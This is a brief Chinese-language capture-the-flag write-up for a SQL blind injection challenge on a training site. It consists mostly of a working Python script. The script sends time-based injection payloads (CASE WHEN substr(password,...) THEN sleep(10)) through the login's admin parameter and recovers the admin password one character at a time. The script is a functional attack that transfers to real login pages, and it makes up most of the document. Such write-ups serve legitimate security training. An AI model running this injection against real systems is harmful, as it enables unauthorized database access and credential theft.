/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* 程序作者：爱的伊苏 \*/

/\* 程序完成时间：2019/2/4 \*/

/\* 有任何问题请联系：740531307@qq.com \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

//@永远得意的笑下去

Sql 盲注题

发现admin可以正确连接到数据库，但是没有密码

直接python开始跑数据

#-\*-coding:utf-8-\*-

import requests

import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@\_.{}\*' #不区分大小写的

flag = ""

key=0

print("Start")

for i in range(1,50):

if key == 1:

break

for payload in payloads:

starttime = time.time()#记录当前时间

headers = {"Host": "ctf5.shiyanbar.com",

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8",

"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Cookie": "Hm\_lvt\_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm\_cv\_34d6f7353ab0915a4c582e4516dffbc3=1\*visitor\*67928%2CnickName%3Ayour",

"Connection": "keep-alive",

}

url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库

res = requests.get(url, headers=headers)

if time.time() - starttime > 10:

flag += payload

print("pwd is:%s"%flag)

break

else:

if payload == '\*':

key = 1

break

print('[Finally] current pwd is %s'% flag)

即可得到admin的密码

输入用户名密码后得到flag